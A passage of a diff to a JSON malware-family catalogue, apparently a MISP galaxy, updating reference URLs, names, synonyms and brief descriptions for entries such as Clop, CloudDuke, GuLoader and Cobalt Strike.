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"https://blog.trendmicro.com/trendlabs-security-intelligence/operation-overtrap-targets-japanese-online-banking-users-via-bottle-exploit-kit-and-brand-new-cinobi-banking-trojan/", + "http://www.pwncode.io/2019/12/unpacking-payload-used-in-bottle-ek.html", + "https://documents.trendmicro.com/assets/pdf/Tech%20Brief_Operation%20Overtrap%20Targets%20Japanese%20Online%20Banking%20Users.pdf" ], "synonyms": [], "type": [] @@ -16705,12 +17777,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel", - "https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/", "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "http://www.xylibox.com/2016/02/citadel-0011-atmos.html", "http://blog.jpcert.or.jp/2016/02/banking-trojan--27d6.html", + "http://www.xylibox.com/2016/02/citadel-0011-atmos.html", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals" + "https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/" ], "synonyms": [], "type": [] @@ -16777,11 +17849,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", "https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/", "https://asec.ahnlab.com/en/35981/", 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"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", - "https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - 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"https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", "https://actu.fr/normandie/rouen_76540/une-rancon-apres-cyberattaque-chu-rouen-ce-reclament-pirates_29475649.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", + 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"https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/", + "https://www.vice.com/en/article/wx5eyx/meet-the-ransomware-gang-behind-one-of-the-biggest-supply-chain-hacks-ever", + "https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/", + "https://therecord.media/ukrainian-police-arrest-clop-ransomware-members-seize-server-infrastructure/", + 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"https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://unit42.paloaltonetworks.com/clop-ransomware/", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://asec.ahnlab.com/en/19542/", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f", + "https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/" ], "synonyms": [], "type": [] }, "uuid": "8071f2d8-cc44-4682-845b-6f39a9f8b587", - "value": "Clop" + "value": "Clop (Windows)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3f320960-77a2-4525-8d19-95b6028ec0d5", + "value": "CLOUDBURST" }, { "description": "CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. 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"https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://www.youtube.com/watch?v=K3Yxu_9OUxU", - "https://blog.morphisec.com/guloader-the-rat-downloader", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/playing-with-guloader-anti-vm-techniques-malware/", - "https://twitter.com/TheEnergyStory/status/1240608893610459138", - "https://twitter.com/VK_Intel/status/1257206565146370050", - "https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/", - "https://www.crowdstrike.com/blog/guloader-malware-analysis/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://labs.k7computing.com/?p=20156", - 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"description": "", + "description": "F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke", "https://www.f-secure.com/weblog/archives/00002822.html" ], - "synonyms": [], + "synonyms": [ + "CloudLook", + "MiniDionis" + ], "type": [] }, "uuid": "40baac36-2fd0-49b3-b05b-1087d60f4f2c", - "value": "Cloud Duke" + "value": "CloudDuke" }, { "description": "", @@ -16966,25 +18063,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar", - "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://twitter.com/ClearskySec/status/963829930776723461", - "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/" + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" ], "synonyms": [ "meciv" ], "type": [] }, - "related": [ - { - "dest-uuid": "e81b96a2-22e9-445e-88c7-65b67c2299ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e4e15ab4-9ba6-444a-b154-2854757e792e", "value": "CMSTAR" }, @@ -16999,15 +18087,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "92628a72-c874-11e8-a094-ebbb3bd1f412", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7acd9a27-f550-4c47-9fc8-429b61b04217", "value": "CoalaBot" }, @@ -17016,8 +18095,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel", - "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us", - "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools" + "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools", + "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us" ], "synonyms": [], "type": [] @@ -17030,611 +18109,649 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", - "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", - "https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", - "https://wbglil.gitbook.io/cobalt-strike/", - "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", - "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734", - "https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", - "https://malwarelab.eu/posts/fin6-cobalt-strike/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://asec.ahnlab.com/en/31811/", - "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", - "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", - "https://connormcgarr.github.io/thread-hijacking/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://www.contextis.com/en/blog/dll-search-order-hijacking", - "https://www.mandiant.com/media/12596/download", - "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", - "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf", - "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia", - "https://www.mandiant.com/media/10916/download", - "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", - "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", - "https://twitter.com/elisalem9/status/1398566939656601606", - "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e", - "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", - "https://malware-traffic-analysis.net/2021/09/29/index.html", - "https://www.secureworks.com/research/threat-profiles/bronze-president", - "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/", - "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", - "https://twitter.com/vikas891/status/1385306823662587905", - "https://redcanary.com/blog/grief-ransomware/", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", - "https://cert.gov.ua/article/703548", - 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"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", - "https://www.telsy.com/download/5972/?uid=d7c082ba55", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", - "https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/", - "https://isc.sans.edu/diary/27308", - "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", - "http://blog.nsfocus.net/murenshark", - "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", - "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.youtube.com/watch?v=FC9ARZIZglI", - "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", - "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", - 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"https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", - "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://www.brighttalk.com/webcast/7451/462719", - "https://community.riskiq.com/article/f0320980", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", - "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", - "https://401trg.com/burning-umbrella/ ", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - 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"https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", - "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e", - "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", - 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"https://www.lac.co.jp/lacwatch/people/20180521_001638.html", - "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", - "https://isc.sans.edu/diary/rss/28448", - "https://community.riskiq.com/article/0bcefe76", - "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", - "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", - "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", - "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", + "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", - "https://www.ic3.gov/Media/News/2021/210823.pdf", - "https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/", - "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", - "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", - "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", - "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", + "https://www.arashparsa.com/catching-a-malware-with-no-name/", + "https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors", + "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://twitter.com/redcanary/status/1334224861628039169", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/defining-cobalt-strike-components", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", + "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://cert.gov.ua/article/619229", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://blog.exatrack.com/melofee/", + "http://blog.nsfocus.net/murenshark", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://community.riskiq.com/article/f0320980", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", + "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", + "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-148a", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://security.macnica.co.jp/blog/2022/05/iso.html", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware", + 